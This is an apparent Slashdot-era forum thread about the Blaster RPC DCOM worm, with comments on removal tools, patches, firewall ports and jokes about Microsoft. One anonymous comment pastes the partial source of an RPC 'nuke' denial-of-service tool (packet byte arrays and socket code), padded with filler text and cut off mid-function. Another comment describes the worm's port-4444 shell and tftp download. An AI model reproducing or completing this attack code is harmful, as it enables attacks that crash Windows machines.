There was a recent thread about what you have on your USB flash key dongles, this is another addition I can carry around and make money off of.

Thank you M$, for making such sucky software ;-)

the AC

29640 Intrusions

[yarisbandit]

According to ZoneAlarm, I've had 29640 Intrusions since last night. 21 Critical.

No, it's not the worm, I just forgot to make 192.168.0.2 trusted, that whole client server yokey...

Actually? about two-fitty.

More ports to permit

[billstewart]

• Probably DNS, at least to a DMZ.
  
• 443 SSL, of course.
  
• IPSEC support, so UDP 500 and Protocol 50 and 51
  
• Probably NOT incoming POP/IMAP without lots of constraints. (Outgoing, yes...)
  
• Probably one or two others.
  

W32.Blaster.Worm Removal Tool

[SailorBob]

Here's the homepage for Symantec's tool which removes this worm.

Re:W32.Blaster.Worm Removal Tool

[billeger]

It may work for you but it didn't for me. A client called with the W32Blaster in full control on his system. Understanding that he would have trouble online, I took the Symantec tool down on disc. Also took printed copy of KB823980 and the Symantec instructions. See the KB article for URLs.

It didn't work.

To make this brief, three hours later it was clear the worm was winning, though the Symantec Worm Remover said it was dead in its hole, it wasn't. And when I did as Symantec ordered when WormRemover was finished and went to the URL to get the patch -- right, KB823980 -- the patch wouldn't run!

What had downloaded was a 486k file though MS said the file would be 1,239 or so. And that shorter file won't install. Disgusted, I came home and tried on my uninfected machine the same page and I got the longer file which I'll take tomorrow to try again.

This worm is a far more serious problem than the instruction sheets for removal are saying.

Re:Easily solved.

[Anonymous Coward]

When you are shown the dialog box informing you of a system shutdown about to occur in 30 seconds or whatnot, run "shutdown /a" in a command line, assuming that you have administrator privaleges. If you don't, then log in as Administrator and do it.

MS should force updates down people's throats

[gad_zuki!]

At least in the consumer edition of their OS's. There's someting to be said about abusing this power for marketshare, but that's best left to the courts.

I love how a MSN Messenger can't be disabled without disabling it in outlook AND in the app itself, yet autoupdate wants you to configure it before it runs. I'm sure most users go "wha?" and click cancel.

I've posted more about this here for those interested.

no install required.

[leuk_he]

1. disconnect PC from network.
2. Remove MSBLAST.exe from filesystem & registry (see the page of the antivirus producers for exact instuctions)
3. Patch the PC
4. Firewall it in case you didnt patch it right.
5. Save your data at a convienent time (LIKE NOW!)
6. Reinstall windows because someother virus might be there as well.

Reinstall windows is the "give up" option

sigh

[wigam]

Another day another worm.

The worm breaks local programs too

[Anonymous Coward]

I've just had a user report of our program crashing in a location it never should crash. The program's entirely local, not doing remote comms stuff at all. I'd just finished putting in some logging code when the user called back: don't worry, it's ok, it's probably the new worm...

In case you get hit by this: what our program was doing was creating some classes in one (MTA) thread, using CoMarshalInterThreadInterfaceInStream to ship them over to another (STA) thread that used CoGetInterfaceAndReleaseStream to unwrap them. And suddenly CoGetInterfaceAndReleaseStream was returning null pointers!

So now I've designed a new message into our program to deal with the case when that should-never-be-NULL pointer is NULL: "The DCOM feature of Windows is not working properly. This problem may have been caused by a virus: please check your system". I hope this strikes the right balance between informing and alarming the user...

The fix is much easier than anticipated!!!!

[Anonymous Coward]

1. Insert any bootable linux installation CD. 2. Wait till XP reboots from the worm. 3. Delete NTFS partition 4. Install Linux

LOL!

[pmz]

Once it finds a vulnerable system, it will spawn a shell on port 4444 and use it to download the actual worm via tftp.

HAHAHA!!! You bought it, you deal with it, suckers!

Media wises up about viruses

[witts]

I've noticed that just recently the media is reporting more detail about computer viruses. In the past, they would just mention that a virus was spreading, maybe how many computers are affected, and that was about it. Now they often report the afflicted operating system, which we all know is almost always Microsoft's demon seed. Maybe the average computer user will learn that Microsoft is totally insecure and cause them to have second thoughts about upgrading to Microsoft's next great OS. But at least the media is no longer hiding this info from the public, who probably thinks that computer viruses spread to all computers equally on the Internet, and don't understand how specific viruses really are 99% of the time.

Laptops can be a real problem

[billstewart]

I'm sitting here at home typing on my work laptop :-) It's behind a $50 firewall (which may help this worm), but that's all when I'm not VPNed into work. When the laptop's at work it uses Port 135 and the other MS ports so it can mount file servers and printers and such, so it's configured to listen to them, and the LAN at work is configured to pass them. On the other hand, at home, the only things on Port 135 and the other MS ports are viruses and crackers. My corporate IT people could get fancy and set the internal firewalling to only listen to Port 135 from IP address ranges 10.x.x.x or whatever, but basically if I didn't have the firewall or if it let Port 135 traffic go through, my machine would be toast, and I'd bring the nice burnt toast into the office where it would start causing more trouble. It's an ugly set of problems. (Having an operating system with a fundamental clue about security helps a lot, but even there you can get application bugs, like sendmail worms and finger daemon cracks and the like.)

Here is some code It's been around for a while now

[Anonymous Coward]

Sorry for all the crap. Here is some NukeXP code. Enjoy!!! I've got an mirc script to run it if you want...
Http://www.cnhonker.com This is code. Not junk characters, Code. Now two few characters per line. What If I add more comments. Anyway what is it up to /. to tell someone how many characters per line they should have.

#include <winsock2.h> This is code. Not junk characters, Code. Now two few characters per line. What If I add more comments. Anyway what is it up to /. to tell someone how many characters per line they should have.
#include <stdio.h> This is code. Not junk characters, Code. Now two few characters per line. What If I add more comments. Anyway what is it up to /. to tell someone how many characters per line they should have.

#pragma comment(lib, "ws2_32.lib")

char sendcode1[] = This is code. Not junk characters, Code. Now two few characters per line. What If I add more comments. Anyway what is it up to /. to tell someone how many characters per line they should have.
"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\ x02\x00\x00\x00"
"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\ x00\x00\x01\x00"
"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\ x69\x01\x29\x3f"
"\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\ x9f\xe8\x08\x00"
"\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\ x10\x00\x00\x00"
"\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\ x00\x00\x02\x00"
"\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00" ;

char sendcode2[] = This is code. Not junk characters, Code. Now two few characters per line. What If I add more comments. Anyway what is it up to /. to tell someone how many characters per line they should have.
"\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00" ;

char sendcode3[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\ x00\x02\x00\x00";

char sendcode4[] =
"\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\ x3d\x3d\x3d\x3d"
"\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\ x3d\x3d\x3d\x3d"
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\ x8f\x00\x00\x00"
"\x50\x10\x01\x00\x00\x00\x02\x00";

char sendcode5[] =
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\ x8f\x00\x00\x00"
"\x80\xf9\x00\x00\x00\x00\x02\x00";

char sendcode6[] = This is code. Not junk characters, Code. Now two few characters per line. What If I add more comments. Anyway what is it up to /. to tell someone how many characters per line they should have.
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\ x8f\x00\x00\x00"
"\xb0\xe2\x00\x00\x00\x00\x02\x00";

char sendcode7[] =
"\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\ x8f\x00\x00\x00"
"\x60\x15\x00\x00\x00\x00\x02\x00";

char sendcode8[] =
"\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\ x00\x00";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *targetip;
int port,bufsize;
SOCKET s;
char buffer[20480];

printf("= HUC Win2000/XP RPC Nuke V0.10 \r\n");
printf("= By Lion, Welcome to http://www.cnhonker.com \r\n\n");

if (argc < 2) xxxxxxxxxxxxxxxxxxxxxxxxx
{
printf("Usage:\r\n"); xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
printf(" %s <TargetIP> [TargetPort]\r\n", argv[0]); xxxxxxxxxxxxxxxxxxxxxxxxxxx
printf("Example:\r\n"); xxxxxxxxxxxxxxxxxx
printf(" %s 192.168.0.1\r\n", argv[0]);

Re: RPC DCOM Worm On The Loose

[Anonymous Coward]

I work at a *very* large real estate information company in southern California, and our FTP servers that pickup all of our offshore'd work are dead with this virus.

Looks like you all have another reason to recommend to your bosses NOT to outsource...

Positive side effects

[Anonymous Coward]

Well, one thing I've noticed over the last 2 days is that my e-mail inbox contains signifigantly less SPAM than usual. Maybe some of the servers distributing SPAM got taken down by this. I hope so. But we all know the SPAM distributors won't stay down (unfortunately).

Perhaps...

[c0d3fu]

You didn't consider that since the majority of end-users use M$ Windows, most of the virii/worms have been Windows-targeted. The number of Mac/Linux virii/worms is considerably lower. If everyone ran Linux, Lindows, or OSX, you would see a strange increase in the number of holes discovered there as well.
On the other hand, M$ has always had a bad reputation when it comes to security. When they begin to lose market share, they will change their practices - this had already happened once with the dropping of Win9X and the adoption of the NT kernel for the home user.
The biggest problem lies in configuration - most of the great virii (blaster is an exception to this rule) have penetrated M$ systems because of relatively new technologies being shipped and enabled by default with new PCs. Seriously - why did XP Pro originally come with IIS enabled?
This problem will also come to head as huge disasters begin to occur. Anybody note that the blackouts corresponded with the release of blaster? Anybody notice how quickly the government rushed out to say it wasn't the worm? Do you actually think they would admit it if it was?